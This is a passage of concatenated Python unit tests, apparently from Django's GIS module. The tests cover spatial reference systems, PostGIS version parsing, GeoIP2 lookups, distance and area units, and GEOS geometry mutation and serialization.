    UNIT["degree",0.01745329251994328,
        AUTHORITY["EPSG","9122"]],
    AUTHORITY["EPSG","4326"]]
    """)
}, {
    'srid': 32140,
    'auth_name': ('EPSG', False),
    'auth_srid': 32140,
    'srtext': (
        'PROJCS["NAD83 / Texas South Central",GEOGCS["NAD83",'
        'DATUM["North_American_Datum_1983",SPHEROID["GRS 1980"'
    ),
    'proj4_re': r'\+proj=lcc \+lat_1=30.28333333333333 \+lat_2=28.38333333333333 \+lat_0=27.83333333333333 '
                r'\+lon_0=-99 \+x_0=600000 \+y_0=4000000 (\+ellps=GRS80 )?'
                r'(\+datum=NAD83 |\+towgs84=0,0,0,0,0,0,0 )?\+units=m \+no_defs ',
    'spheroid': 'GRS 1980', 'name': 'NAD83 / Texas South Central',
    'geographic': False, 'projected': True, 'spatialite': False,
    # From proj's "cs2cs -le" and Wikipedia (semi-minor only)
    'ellipsoid': (6378137.0, 6356752.31414, 298.257222101),
    'eprec': (1, 5, 10),
})


@skipUnlessDBFeature("has_spatialrefsys_table")
class SpatialRefSysTest(unittest.TestCase):

    def test_get_units(self):
        epsg_4326 = next(f for f in test_srs if f['srid'] == 4326)
        unit, unit_name = SpatialRefSys().get_units(epsg_4326['wkt'])
        self.assertEqual(unit_name, 'degree')
        self.assertAlmostEqual(unit, 0.01745329251994328)

    def test_retrieve(self):
        """
        Test retrieval of SpatialRefSys model objects.
        """
        for sd in test_srs:
            srs = SpatialRefSys.objects.get(srid=sd['srid'])
            self.assertEqual(sd['srid'], srs.srid)

            # Some of the authority names are borked on Oracle, e.g., SRID=32140.
            #  also, Oracle Spatial seems to add extraneous info to fields, hence the
            #  the testing with the 'startswith' flag.
            auth_name, oracle_flag = sd['auth_name']
            if postgis or (oracle and oracle_flag):
                self.assertTrue(srs.auth_name.startswith(auth_name))

            self.assertEqual(sd['auth_srid'], srs.auth_srid)

            # No proj.4 and different srtext on oracle backends :(
            if postgis:
                self.assertTrue(srs.wkt.startswith(sd['srtext']))
                six.assertRegex(self, srs.proj4text, sd['proj4_re'])

    def test_osr(self):
        """
        Test getting OSR objects from SpatialRefSys model objects.
        """
        for sd in test_srs:
            sr = SpatialRefSys.objects.get(srid=sd['srid'])
            self.assertTrue(sr.spheroid.startswith(sd['spheroid']))
            self.assertEqual(sd['geographic'], sr.geographic)
            self.assertEqual(sd['projected'], sr.projected)

            if not (spatialite and not sd['spatialite']):
                # Can't get 'NAD83 / Texas South Central' from PROJ.4 string
                # on SpatiaLite
                self.assertTrue(sr.name.startswith(sd['name']))

            # Testing the SpatialReference object directly.
            if postgis or spatialite:
                srs = sr.srs
                six.assertRegex(self, srs.proj4, sd['proj4_re'])
                self.assertTrue(srs.wkt.startswith(sd['srtext']))

    def test_ellipsoid(self):
        """
        Test the ellipsoid property.
        """
        for sd in test_srs:
            # Getting the ellipsoid and precision parameters.
            ellps1 = sd['ellipsoid']
            prec = sd['eprec']

            # Getting our spatial reference and its ellipsoid
            srs = SpatialRefSys.objects.get(srid=sd['srid'])
            ellps2 = srs.ellipsoid

            for i in range(3):
                self.assertAlmostEqual(ellps1[i], ellps2[i], prec[i])

    @skipUnlessDBFeature('supports_add_srs_entry')
    def test_add_entry(self):
        """
        Test adding a new entry in the SpatialRefSys model using the
        add_srs_entry utility.
        """
        from django.contrib.gis.utils import add_srs_entry

        add_srs_entry(3857)
        self.assertTrue(
            SpatialRefSys.objects.filter(srid=3857).exists()
        )
        srs = SpatialRefSys.objects.get(srid=3857)
        self.assertTrue(
            SpatialRefSys.get_spheroid(srs.wkt).startswith('SPHEROID[')
        )












import sys
import unittest

from django.core.exceptions import ImproperlyConfigured
from django.db import ProgrammingError
from django.utils import six

try:
    from django.contrib.gis.db.backends.postgis.operations import PostGISOperations
    HAS_POSTGRES = True
except ImportError:
    HAS_POSTGRES = False
except ImproperlyConfigured as e:
    # If psycopg is installed but not geos, the import path hits
    # django.contrib.gis.geometry.backend which will "helpfully" convert
    # an ImportError into an ImproperlyConfigured.
    # Here, we make sure we're only catching this specific case and not another
    # ImproperlyConfigured one.
    if e.args and e.args[0].startswith('Could not import user-defined GEOMETRY_BACKEND'):
        HAS_POSTGRES = False
    else:
        six.reraise(*sys.exc_info())


if HAS_POSTGRES:
    class FakeConnection(object):
        def __init__(self):
            self.settings_dict = {
                'NAME': 'test',
            }

    class FakePostGISOperations(PostGISOperations):
        def __init__(self, version=None):
            self.version = version
            self.connection = FakeConnection()

        def _get_postgis_func(self, func):
            if func == 'postgis_lib_version':
                if self.version is None:
                    raise ProgrammingError
                else:
                    return self.version
            elif func == 'version':
                pass
            else:
                raise NotImplementedError('This function was not expected to be called')


@unittest.skipUnless(HAS_POSTGRES, "The psycopg2 driver is needed for these tests")
class TestPostgisVersionCheck(unittest.TestCase):
    """
    Tests that the postgis version check parses correctly the version numbers
    """

    def test_get_version(self):
        expect = '1.0.0'
        ops = FakePostGISOperations(expect)
        actual = ops.postgis_lib_version()
        self.assertEqual(expect, actual)

    def test_version_classic_tuple(self):
        expect = ('1.2.3', 1, 2, 3)
        ops = FakePostGISOperations(expect[0])
        actual = ops.postgis_version_tuple()
        self.assertEqual(expect, actual)

    def test_version_dev_tuple(self):
        expect = ('1.2.3dev', 1, 2, 3)
        ops = FakePostGISOperations(expect[0])
        actual = ops.postgis_version_tuple()
        self.assertEqual(expect, actual)

    def test_valid_version_numbers(self):
        versions = [
            ('1.3.0', 1, 3, 0),
            ('2.1.1', 2, 1, 1),
            ('2.2.0dev', 2, 2, 0),
        ]

        for version in versions:
            ops = FakePostGISOperations(version[0])
            actual = ops.spatial_version
            self.assertEqual(version[1:], actual)

    def test_invalid_version_numbers(self):
        versions = ['nope', '123']

        for version in versions:
            ops = FakePostGISOperations(version)
            with self.assertRaises(Exception):
                ops.spatial_version

    def test_no_version_number(self):
        ops = FakePostGISOperations()
        with self.assertRaises(ImproperlyConfigured):
            ops.spatial_version






"""
This module has the mock object definitions used to hold reference geometry
for the GEOS and GDAL tests.
"""
import json
import os

from django.utils import six
from django.utils._os import upath
from django.utils.functional import cached_property

# Path where reference test data is located.
TEST_DATA = os.path.join(os.path.dirname(upath(__file__)), 'data')


def tuplize(seq):
    "Turn all nested sequences to tuples in given sequence."
    if isinstance(seq, (list, tuple)):
        return tuple(tuplize(i) for i in seq)
    return seq


def strconvert(d):
    "Converts all keys in dictionary to str type."
    return {str(k): v for k, v in six.iteritems(d)}


def get_ds_file(name, ext):
    return os.path.join(TEST_DATA,
                        name,
                        name + '.%s' % ext
                        )


class TestObj(object):
    """
    Base testing object, turns keyword args into attributes.
    """
    def __init__(self, **kwargs):
        for key, value in kwargs.items():
            setattr(self, key, value)


class TestDS(TestObj):
    """
    Object for testing GDAL data sources.
    """
    def __init__(self, name, **kwargs):
        # Shapefile is default extension, unless specified otherwise.
        ext = kwargs.pop('ext', 'shp')
        self.ds = get_ds_file(name, ext)
        super(TestDS, self).__init__(**kwargs)


class TestGeom(TestObj):
    """
    Testing object used for wrapping reference geometry data
    in GEOS/GDAL tests.
    """
    def __init__(self, **kwargs):
        # Converting lists to tuples of certain keyword args
        # so coordinate test cases will match (JSON has no
        # concept of tuple).
        coords = kwargs.pop('coords', None)
        if coords:
            self.coords = tuplize(coords)

        centroid = kwargs.pop('centroid', None)
        if centroid:
            self.centroid = tuple(centroid)

        ext_ring_cs = kwargs.pop('ext_ring_cs', None)
        if ext_ring_cs:
            ext_ring_cs = tuplize(ext_ring_cs)
        self.ext_ring_cs = ext_ring_cs

        super(TestGeom, self).__init__(**kwargs)


class TestGeomSet(object):
    """
    Each attribute of this object is a list of `TestGeom` instances.
    """
    def __init__(self, **kwargs):
        for key, value in kwargs.items():
            setattr(self, key, [TestGeom(**strconvert(kw)) for kw in value])


class TestDataMixin(object):
    """
    Mixin used for GEOS/GDAL test cases that defines a `geometries`
    property, which returns and/or loads the reference geometry data.
    """
    @cached_property
    def geometries(self):
        # Load up the test geometry data from fixture into global.
        with open(os.path.join(TEST_DATA, 'geometries.json')) as f:
            geometries = json.load(f)
        return TestGeomSet(**strconvert(geometries))






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import os
import unittest
from unittest import skipUnless

from django.conf import settings
from django.contrib.gis.geoip2 import HAS_GEOIP2
from django.contrib.gis.geos import HAS_GEOS, GEOSGeometry
from django.test import mock
from django.utils import six

if HAS_GEOIP2:
    from django.contrib.gis.geoip2 import GeoIP2, GeoIP2Exception


# Note: Requires both the GeoIP country and city datasets.
# The GEOIP_DATA path should be the only setting set (the directory
# should contain links or the actual database files 'GeoLite2-City.mmdb' and
# 'GeoLite2-City.mmdb'.
@skipUnless(
    HAS_GEOIP2 and getattr(settings, "GEOIP_PATH", None),
    "GeoIP is required along with the GEOIP_PATH setting."
)
class GeoIPTest(unittest.TestCase):
    addr = '128.249.1.1'
    fqdn = 'tmc.edu'

    def test01_init(self):
        "GeoIP initialization."
        g1 = GeoIP2()  # Everything inferred from GeoIP path
        path = settings.GEOIP_PATH
        g2 = GeoIP2(path, 0)  # Passing in data path explicitly.
        g3 = GeoIP2.open(path, 0)  # MaxMind Python API syntax.

        for g in (g1, g2, g3):
            self.assertTrue(g._country)
            self.assertTrue(g._city)

        # Only passing in the location of one database.
        city = os.path.join(path, 'GeoLite2-City.mmdb')
        cntry = os.path.join(path, 'GeoLite2-Country.mmdb')
        g4 = GeoIP2(city, country='')
        self.assertIsNone(g4._country)
        g5 = GeoIP2(cntry, city='')
        self.assertIsNone(g5._city)

        # Improper parameters.
        bad_params = (23, 'foo', 15.23)
        for bad in bad_params:
            with self.assertRaises(GeoIP2Exception):
                GeoIP2(cache=bad)
            if isinstance(bad, six.string_types):
                e = GeoIP2Exception
            else:
                e = TypeError
            with self.assertRaises(e):
                GeoIP2(bad, 0)

    def test02_bad_query(self):
        "GeoIP query parameter checking."
        cntry_g = GeoIP2(city='<foo>')
        # No city database available, these calls should fail.
        with self.assertRaises(GeoIP2Exception):
            cntry_g.city('tmc.edu')
        with self.assertRaises(GeoIP2Exception):
            cntry_g.coords('tmc.edu')

        # Non-string query should raise TypeError
        with self.assertRaises(TypeError):
            cntry_g.country_code(17)
        with self.assertRaises(TypeError):
            cntry_g.country_name(GeoIP2)

    @mock.patch('socket.gethostbyname')
    def test03_country(self, gethostbyname):
        "GeoIP country querying methods."
        gethostbyname.return_value = '128.249.1.1'
        g = GeoIP2(city='<foo>')

        for query in (self.fqdn, self.addr):
            self.assertEqual(
                'US',
                g.country_code(query),
                'Failed for func country_code and query %s' % query
            )
            self.assertEqual(
                'United States',
                g.country_name(query),
                'Failed for func country_name and query %s' % query
            )
            self.assertEqual(
                {'country_code': 'US', 'country_name': 'United States'},
                g.country(query)
            )

    @skipUnless(HAS_GEOS, "Geos is required")
    @mock.patch('socket.gethostbyname')
    def test04_city(self, gethostbyname):
        "GeoIP city querying methods."
        gethostbyname.return_value = '128.249.1.1'
        g = GeoIP2(country='<foo>')

        for query in (self.fqdn, self.addr):
            # Country queries should still work.
            self.assertEqual(
                'US',
                g.country_code(query),
                'Failed for func country_code and query %s' % query
            )
            self.assertEqual(
                'United States',
                g.country_name(query),
                'Failed for func country_name and query %s' % query
            )
            self.assertEqual(
                {'country_code': 'US', 'country_name': 'United States'},
                g.country(query)
            )

            # City information dictionary.
            d = g.city(query)
            self.assertEqual('US', d['country_code'])
            self.assertEqual('Houston', d['city'])
            self.assertEqual('TX', d['region'])

            geom = g.geos(query)
            self.assertIsInstance(geom, GEOSGeometry)
            lon, lat = (-95.4010, 29.7079)
            lat_lon = g.lat_lon(query)
            lat_lon = (lat_lon[1], lat_lon[0])
            for tup in (geom.tuple, g.coords(query), g.lon_lat(query), lat_lon):
                self.assertAlmostEqual(lon, tup[0], 4)
                self.assertAlmostEqual(lat, tup[1], 4)

    @mock.patch('socket.gethostbyname')
    def test05_unicode_response(self, gethostbyname):
        "GeoIP strings should be properly encoded (#16553)."
        gethostbyname.return_value = '194.27.42.76'
        g = GeoIP2()
        d = g.city("nigde.edu.tr")
        self.assertEqual('Niğde', d['city'])
        d = g.country('200.26.205.1')
        # Some databases have only unaccented countries
        self.assertIn(d['country_name'], ('Curaçao', 'Curacao'))

    def test06_ipv6_query(self):
        "GeoIP can lookup IPv6 addresses."
        g = GeoIP2()
        d = g.city('2002:81ed:c9a5::81ed:c9a5')  # IPv6 address for www.nhm.ku.edu
        self.assertEqual('US', d['country_code'])
        self.assertEqual('Lawrence', d['city'])
        self.assertEqual('KS', d['region'])

    def test_repr(self):
        path = settings.GEOIP_PATH
        g = GeoIP2(path=path)
        meta = g._reader.metadata()
        version = '%s.%s' % (meta.binary_format_major_version, meta.binary_format_minor_version)
        country_path = g._country_file
        city_path = g._city_file
        expected = '<GeoIP2 [v%(version)s] _country_file="%(country)s", _city_file="%(city)s">' % {
            'version': version,
            'country': country_path,
            'city': city_path,
        }
        self.assertEqual(repr(g), expected)






import unittest
from functools import wraps

from django.conf import settings
from django.db import DEFAULT_DB_ALIAS, connection


def skipUnlessGISLookup(*gis_lookups):
    """
    Skip a test unless a database supports all of gis_lookups.
    """
    def decorator(test_func):
        @wraps(test_func)
        def skip_wrapper(*args, **kwargs):
            if any(key not in connection.ops.gis_operators for key in gis_lookups):
                raise unittest.SkipTest(
                    "Database doesn't support all the lookups: %s" % ", ".join(gis_lookups)
                )
            return test_func(*args, **kwargs)
        return skip_wrapper
    return decorator


def no_backend(test_func, backend):
    "Use this decorator to disable test on specified backend."
    if settings.DATABASES[DEFAULT_DB_ALIAS]['ENGINE'].rsplit('.')[-1] == backend:
        @unittest.skip("This test is skipped on '%s' backend" % backend)
        def inner():
            pass
        return inner
    else:
        return test_func


# Decorators to disable entire test functions for specific
# spatial backends.
def no_oracle(func):
    return no_backend(func, 'oracle')


# Shortcut booleans to omit only portions of tests.
_default_db = settings.DATABASES[DEFAULT_DB_ALIAS]['ENGINE'].rsplit('.')[-1]
oracle = _default_db == 'oracle'
postgis = _default_db == 'postgis'
mysql = _default_db == 'mysql'
spatialite = _default_db == 'spatialite'

# MySQL spatial indices can't handle NULL geometries.
gisfield_may_be_null = not mysql

if oracle and 'gis' in settings.DATABASES[DEFAULT_DB_ALIAS]['ENGINE']:
    from django.contrib.gis.db.backends.oracle.models import OracleSpatialRefSys as SpatialRefSys
elif postgis:
    from django.contrib.gis.db.backends.postgis.models import PostGISSpatialRefSys as SpatialRefSys
elif spatialite:
    from django.contrib.gis.db.backends.spatialite.models import SpatialiteSpatialRefSys as SpatialRefSys
else:
    SpatialRefSys = None






"""
Distance and Area objects to allow for sensible and convenient calculation
and conversions. Here are some tests.
"""

import unittest

from django.contrib.gis.measure import A, Area, D, Distance


class DistanceTest(unittest.TestCase):
    "Testing the Distance object"

    def testInit(self):
        "Testing initialization from valid units"
        d = Distance(m=100)
        self.assertEqual(d.m, 100)

        d1, d2, d3 = D(m=100), D(meter=100), D(metre=100)
        for d in (d1, d2, d3):
            self.assertEqual(d.m, 100)

        d = D(nm=100)
        self.assertEqual(d.m, 185200)

        y1, y2, y3 = D(yd=100), D(yard=100), D(Yard=100)
        for d in (y1, y2, y3):
            self.assertEqual(d.yd, 100)

        mm1, mm2 = D(millimeter=1000), D(MiLLiMeTeR=1000)
        for d in (mm1, mm2):
            self.assertEqual(d.m, 1.0)
            self.assertEqual(d.mm, 1000.0)

    def testInitInvalid(self):
        "Testing initialization from invalid units"
        with self.assertRaises(AttributeError):
            D(banana=100)

    def testAccess(self):
        "Testing access in different units"
        d = D(m=100)
        self.assertEqual(d.km, 0.1)
        self.assertAlmostEqual(d.ft, 328.084, 3)

    def testAccessInvalid(self):
        "Testing access in invalid units"
        d = D(m=100)
        self.assertFalse(hasattr(d, 'banana'))

    def testAddition(self):
        "Test addition & subtraction"
        d1 = D(m=100)
        d2 = D(m=200)

        d3 = d1 + d2
        self.assertEqual(d3.m, 300)
        d3 += d1
        self.assertEqual(d3.m, 400)

        d4 = d1 - d2
        self.assertEqual(d4.m, -100)
        d4 -= d1
        self.assertEqual(d4.m, -200)

        with self.assertRaises(TypeError):
            d1 + 1

        with self.assertRaises(TypeError):
            d1 - 1

        with self.assertRaises(TypeError):
            d1 += 1

        with self.assertRaises(TypeError):
            d1 -= 1

    def testMultiplication(self):
        "Test multiplication & division"
        d1 = D(m=100)

        d3 = d1 * 2
        self.assertEqual(d3.m, 200)
        d3 = 2 * d1
        self.assertEqual(d3.m, 200)
        d3 *= 5
        self.assertEqual(d3.m, 1000)

        d4 = d1 / 2
        self.assertEqual(d4.m, 50)
        d4 /= 5
        self.assertEqual(d4.m, 10)
        d5 = d1 / D(m=2)
        self.assertEqual(d5, 50)

        a5 = d1 * D(m=10)
        self.assertIsInstance(a5, Area)
        self.assertEqual(a5.sq_m, 100 * 10)

        with self.assertRaises(TypeError):
            d1 *= D(m=1)

        with self.assertRaises(TypeError):
            d1 /= D(m=1)

    def testUnitConversions(self):
        "Testing default units during maths"
        d1 = D(m=100)
        d2 = D(km=1)

        d3 = d1 + d2
        self.assertEqual(d3._default_unit, 'm')
        d4 = d2 + d1
        self.assertEqual(d4._default_unit, 'km')
        d5 = d1 * 2
        self.assertEqual(d5._default_unit, 'm')
        d6 = d1 / 2
        self.assertEqual(d6._default_unit, 'm')

    def testComparisons(self):
        "Testing comparisons"
        d1 = D(m=100)
        d2 = D(km=1)
        d3 = D(km=0)

        self.assertGreater(d2, d1)
        self.assertEqual(d1, d1)
        self.assertLess(d1, d2)
        self.assertFalse(d3)

    def testUnitsStr(self):
        "Testing conversion to strings"
        d1 = D(m=100)
        d2 = D(km=3.5)

        self.assertEqual(str(d1), '100.0 m')
        self.assertEqual(str(d2), '3.5 km')
        self.assertEqual(repr(d1), 'Distance(m=100.0)')
        self.assertEqual(repr(d2), 'Distance(km=3.5)')

    def testUnitAttName(self):
        "Testing the `unit_attname` class method"
        unit_tuple = [('Yard', 'yd'), ('Nautical Mile', 'nm'), ('German legal metre', 'german_m'),
                      ('Indian yard', 'indian_yd'), ('Chain (Sears)', 'chain_sears'), ('Chain', 'chain')]
        for nm, att in unit_tuple:
            self.assertEqual(att, D.unit_attname(nm))


class AreaTest(unittest.TestCase):
    "Testing the Area object"

    def testInit(self):
        "Testing initialization from valid units"
        a = Area(sq_m=100)
        self.assertEqual(a.sq_m, 100)

        a = A(sq_m=100)
        self.assertEqual(a.sq_m, 100)

        a = A(sq_mi=100)
        self.assertEqual(a.sq_m, 258998811.0336)

    def testInitInvaliA(self):
        "Testing initialization from invalid units"
        with self.assertRaises(AttributeError):
            A(banana=100)

    def testAccess(self):
        "Testing access in different units"
        a = A(sq_m=100)
        self.assertEqual(a.sq_km, 0.0001)
        self.assertAlmostEqual(a.sq_ft, 1076.391, 3)

    def testAccessInvaliA(self):
        "Testing access in invalid units"
        a = A(sq_m=100)
        self.assertFalse(hasattr(a, 'banana'))

    def testAddition(self):
        "Test addition & subtraction"
        a1 = A(sq_m=100)
        a2 = A(sq_m=200)

        a3 = a1 + a2
        self.assertEqual(a3.sq_m, 300)
        a3 += a1
        self.assertEqual(a3.sq_m, 400)

        a4 = a1 - a2
        self.assertEqual(a4.sq_m, -100)
        a4 -= a1
        self.assertEqual(a4.sq_m, -200)

        with self.assertRaises(TypeError):
            a1 + 1

        with self.assertRaises(TypeError):
            a1 - 1

        with self.assertRaises(TypeError):
            a1 += 1

        with self.assertRaises(TypeError):
            a1 -= 1

    def testMultiplication(self):
        "Test multiplication & division"
        a1 = A(sq_m=100)

        a3 = a1 * 2
        self.assertEqual(a3.sq_m, 200)
        a3 = 2 * a1
        self.assertEqual(a3.sq_m, 200)
        a3 *= 5
        self.assertEqual(a3.sq_m, 1000)

        a4 = a1 / 2
        self.assertEqual(a4.sq_m, 50)
        a4 /= 5
        self.assertEqual(a4.sq_m, 10)

        with self.assertRaises(TypeError):
            a1 * A(sq_m=1)

        with self.assertRaises(TypeError):
            a1 *= A(sq_m=1)

        with self.assertRaises(TypeError):
            a1 / A(sq_m=1)

        with self.assertRaises(TypeError):
            a1 /= A(sq_m=1)

    def testUnitConversions(self):
        "Testing default units during maths"
        a1 = A(sq_m=100)
        a2 = A(sq_km=1)

        a3 = a1 + a2
        self.assertEqual(a3._default_unit, 'sq_m')
        a4 = a2 + a1
        self.assertEqual(a4._default_unit, 'sq_km')
        a5 = a1 * 2
        self.assertEqual(a5._default_unit, 'sq_m')
        a6 = a1 / 2
        self.assertEqual(a6._default_unit, 'sq_m')

    def testComparisons(self):
        "Testing comparisons"
        a1 = A(sq_m=100)
        a2 = A(sq_km=1)
        a3 = A(sq_km=0)

        self.assertGreater(a2, a1)
        self.assertEqual(a1, a1)
        self.assertLess(a1, a2)
        self.assertFalse(a3)

    def testUnitsStr(self):
        "Testing conversion to strings"
        a1 = A(sq_m=100)
        a2 = A(sq_km=3.5)

        self.assertEqual(str(a1), '100.0 sq_m')
        self.assertEqual(str(a2), '3.5 sq_km')
        self.assertEqual(repr(a1), 'Area(sq_m=100.0)')
        self.assertEqual(repr(a2), 'Area(sq_km=3.5)')


def suite():
    s = unittest.TestSuite()
    s.addTest(unittest.makeSuite(DistanceTest))
    s.addTest(unittest.makeSuite(AreaTest))
    return s


def run(verbosity=2):
    unittest.TextTestRunner(verbosity=verbosity).run(suite())

if __name__ == "__main__":
    run()






# Copyright (c) 2008-2009 Aryeh Leib Taurog, all rights reserved.
# Modified from original contribution by Aryeh Leib Taurog, which was
# released under the New BSD license.

import unittest
from unittest import skipUnless

from django.contrib.gis.geos import (
    HAS_GEOS, LinearRing, LineString, MultiPoint, Point, Polygon, fromstr,
)


def api_get_distance(x):
    return x.distance(Point(-200, -200))


def api_get_buffer(x):
    return x.buffer(10)


def api_get_geom_typeid(x):
    return x.geom_typeid


def api_get_num_coords(x):
    return x.num_coords


def api_get_centroid(x):
    return x.centroid


def api_get_empty(x):
    return x.empty


def api_get_valid(x):
    return x.valid


def api_get_simple(x):
    return x.simple


def api_get_ring(x):
    return x.ring


def api_get_boundary(x):
    return x.boundary


def api_get_convex_hull(x):
    return x.convex_hull


def api_get_extent(x):
    return x.extent


def api_get_area(x):
    return x.area


def api_get_length(x):
    return x.length

geos_function_tests = [
    val for name, val in vars().items()
    if hasattr(val, '__call__') and name.startswith('api_get_')
]


@skipUnless(HAS_GEOS, "Geos is required.")
class GEOSMutationTest(unittest.TestCase):
    """
    Tests Pythonic Mutability of Python GEOS geometry wrappers
    get/set/delitem on a slice, normal list methods
    """

    def test00_GEOSIndexException(self):
        'Testing Geometry IndexError'
        p = Point(1, 2)
        for i in range(-2, 2):
            p._checkindex(i)
        with self.assertRaises(IndexError):
            p._checkindex(2)
        with self.assertRaises(IndexError):
            p._checkindex(-3)

    def test01_PointMutations(self):
        'Testing Point mutations'
        for p in (Point(1, 2, 3), fromstr('POINT (1 2 3)')):
            self.assertEqual(p._get_single_external(1), 2.0, 'Point _get_single_external')

            # _set_single
            p._set_single(0, 100)
            self.assertEqual(p.coords, (100.0, 2.0, 3.0), 'Point _set_single')

            # _set_list
            p._set_list(2, (50, 3141))
            self.assertEqual(p.coords, (50.0, 3141.0), 'Point _set_list')

    def test02_PointExceptions(self):
        'Testing Point exceptions'
        with self.assertRaises(TypeError):
            Point(range(1))
        with self.assertRaises(TypeError):
            Point(range(4))

    def test03_PointApi(self):
        'Testing Point API'
        q = Point(4, 5, 3)
        for p in (Point(1, 2, 3), fromstr('POINT (1 2 3)')):
            p[0:2] = [4, 5]
            for f in geos_function_tests:
                self.assertEqual(f(q), f(p), 'Point ' + f.__name__)

    def test04_LineStringMutations(self):
        'Testing LineString mutations'
        for ls in (LineString((1, 0), (4, 1), (6, -1)),
                   fromstr('LINESTRING (1 0,4 1,6 -1)')):
            self.assertEqual(ls._get_single_external(1), (4.0, 1.0), 'LineString _get_single_external')

            # _set_single
            ls._set_single(0, (-50, 25))
            self.assertEqual(ls.coords, ((-50.0, 25.0), (4.0, 1.0), (6.0, -1.0)), 'LineString _set_single')

            # _set_list
            ls._set_list(2, ((-50.0, 25.0), (6.0, -1.0)))
            self.assertEqual(ls.coords, ((-50.0, 25.0), (6.0, -1.0)), 'LineString _set_list')

            lsa = LineString(ls.coords)
            for f in geos_function_tests:
                self.assertEqual(f(lsa), f(ls), 'LineString ' + f.__name__)

    def test05_Polygon(self):
        'Testing Polygon mutations'
        for pg in (Polygon(((1, 0), (4, 1), (6, -1), (8, 10), (1, 0)),
                           ((5, 4), (6, 4), (6, 3), (5, 4))),
                   fromstr('POLYGON ((1 0,4 1,6 -1,8 10,1 0),(5 4,6 4,6 3,5 4))')):
            self.assertEqual(pg._get_single_external(0),
                             LinearRing((1, 0), (4, 1), (6, -1), (8, 10), (1, 0)),
                             'Polygon _get_single_external(0)')
            self.assertEqual(pg._get_single_external(1),
                             LinearRing((5, 4), (6, 4), (6, 3), (5, 4)),
                             'Polygon _get_single_external(1)')

            # _set_list
            pg._set_list(2, (((1, 2), (10, 0), (12, 9), (-1, 15), (1, 2)), ((4, 2), (5, 2), (5, 3), (4, 2))))
            self.assertEqual(
                pg.coords,
                (((1.0, 2.0), (10.0, 0.0), (12.0, 9.0), (-1.0, 15.0), (1.0, 2.0)),
                 ((4.0, 2.0), (5.0, 2.0), (5.0, 3.0), (4.0, 2.0))),
                'Polygon _set_list')

            lsa = Polygon(*pg.coords)
            for f in geos_function_tests:
                self.assertEqual(f(lsa), f(pg), 'Polygon ' + f.__name__)

    def test06_Collection(self):
        'Testing Collection mutations'
        points = (
            MultiPoint(*map(Point, ((3, 4), (-1, 2), (5, -4), (2, 8)))),
            fromstr('MULTIPOINT (3 4,-1 2,5 -4,2 8)'),
        )
        for mp in points:
            self.assertEqual(mp._get_single_external(2), Point(5, -4), 'Collection _get_single_external')

            mp._set_list(3, map(Point, ((5, 5), (3, -2), (8, 1))))
            self.assertEqual(mp.coords, ((5.0, 5.0), (3.0, -2.0), (8.0, 1.0)), 'Collection _set_list')

            lsa = MultiPoint(*map(Point, ((5, 5), (3, -2), (8, 1))))
            for f in geos_function_tests:
                self.assertEqual(f(lsa), f(mp), 'MultiPoint ' + f.__name__)






from __future__ import unicode_literals

import ctypes
import json
import random
from binascii import a2b_hex, b2a_hex
from io import BytesIO
from unittest import skipUnless

from django.contrib.gis import gdal
from django.contrib.gis.gdal import HAS_GDAL
from django.contrib.gis.geos import (
    HAS_GEOS, GeometryCollection, GEOSException, GEOSGeometry, LinearRing,
    LineString, MultiLineString, MultiPoint, MultiPolygon, Point, Polygon,
    fromfile, fromstr,
)
from django.contrib.gis.geos.base import GEOSBase
from django.contrib.gis.geos.libgeos import geos_version_info
from django.contrib.gis.shortcuts import numpy
from django.template import Context
from django.template.engine import Engine
from django.test import SimpleTestCase, ignore_warnings, mock
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_bytes
from django.utils.six.moves import range

from ..test_data import TestDataMixin


@skipUnless(HAS_GEOS, "Geos is required.")
class GEOSTest(SimpleTestCase, TestDataMixin):

    def test_base(self):
        "Tests out the GEOSBase class."
        # Testing out GEOSBase class, which provides a `ptr` property
        # that abstracts out access to underlying C pointers.
        class FakeGeom1(GEOSBase):
            pass

        # This one only accepts pointers to floats
        c_float_p = ctypes.POINTER(ctypes.c_float)

        class FakeGeom2(GEOSBase):
            ptr_type = c_float_p

        # Default ptr_type is `c_void_p`.
        fg1 = FakeGeom1()
        # Default ptr_type is C float pointer
        fg2 = FakeGeom2()

        # These assignments are OK -- None is allowed because
        # it's equivalent to the NULL pointer.
        fg1.ptr = ctypes.c_void_p()
        fg1.ptr = None
        fg2.ptr = c_float_p(ctypes.c_float(5.23))
        fg2.ptr = None

        # Because pointers have been set to NULL, an exception should be
        # raised when we try to access it.  Raising an exception is
        # preferable to a segmentation fault that commonly occurs when
        # a C method is given a NULL memory reference.
        for fg in (fg1, fg2):
            # Equivalent to `fg.ptr`
            with self.assertRaises(GEOSException):
                fg._get_ptr()

        # Anything that is either not None or the acceptable pointer type will
        # result in a TypeError when trying to assign it to the `ptr` property.
        # Thus, memory addresses (integers) and pointers of the incorrect type
        # (in `bad_ptrs`) will not be allowed.
        bad_ptrs = (5, ctypes.c_char_p(b'foobar'))
        for bad_ptr in bad_ptrs:
            # Equivalent to `fg.ptr = bad_ptr`
            with self.assertRaises(TypeError):
                fg1._set_ptr(bad_ptr)
            with self.assertRaises(TypeError):
                fg2._set_ptr(bad_ptr)

    def test_wkt(self):
        "Testing WKT output."
        for g in self.geometries.wkt_out:
            geom = fromstr(g.wkt)
            if geom.hasz:
                self.assertEqual(g.ewkt, geom.wkt)

    def test_hex(self):
        "Testing HEX output."
        for g in self.geometries.hex_wkt:
            geom = fromstr(g.wkt)
            self.assertEqual(g.hex, geom.hex.decode())

    def test_hexewkb(self):
        "Testing (HEX)EWKB output."
        # For testing HEX(EWKB).
        ogc_hex = b'01010000000000000000000000000000000000F03F'
        ogc_hex_3d = b'01010000800000000000000000000000000000F03F0000000000000040'
        # `SELECT ST_AsHEXEWKB(ST_GeomFromText('POINT(0 1)', 4326));`
        hexewkb_2d = b'0101000020E61000000000000000000000000000000000F03F'
        # `SELECT ST_AsHEXEWKB(ST_GeomFromEWKT('SRID=4326;POINT(0 1 2)'));`
        hexewkb_3d = b'01010000A0E61000000000000000000000000000000000F03F0000000000000040'

        pnt_2d = Point(0, 1, srid=4326)
        pnt_3d = Point(0, 1, 2, srid=4326)

        # OGC-compliant HEX will not have SRID value.
        self.assertEqual(ogc_hex, pnt_2d.hex)
        self.assertEqual(ogc_hex_3d, pnt_3d.hex)

        # HEXEWKB should be appropriate for its dimension -- have to use an
        # a WKBWriter w/dimension set accordingly, else GEOS will insert
        # garbage into 3D coordinate if there is none.
        self.assertEqual(hexewkb_2d, pnt_2d.hexewkb)
